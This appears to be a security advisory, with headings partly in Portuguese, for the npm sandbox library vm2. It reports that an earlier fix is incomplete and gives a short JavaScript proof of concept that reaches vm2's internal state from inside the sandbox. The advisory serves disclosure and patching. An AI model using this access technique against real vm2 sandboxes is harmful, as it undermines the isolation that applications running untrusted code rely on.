PT-2026-41697 · Npm · Vm2

Publicado 2026-05-08 · Atualizado 2026-05-08

OSV

CVSS v3.1

5.3

Média

Vetor base

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2 INTERNAL STATE DO NOT USE OR PROGRAM WILL FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2 INTERNAL STATE DO NOT USE OR PROGRAM WILL FAIL']
`));

Correção

Protection Mechanism Failure

Enumeração de Fraquezas

CWE-693

Identificadores relacionados

GHSA-2CM2-M3W5-GP2F

Produtos afetados

Vm2

Referências · 4

• https://github.com/patriksimek/vm2 · Nota
• https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f · Nota
• https://github.com/patriksimek/vm2/releases/tag/v3.11.2 · Nota
• https://osv.dev/vulnerability/GHSA-2cm2-m3w5-gp2f · Aviso do Fabricante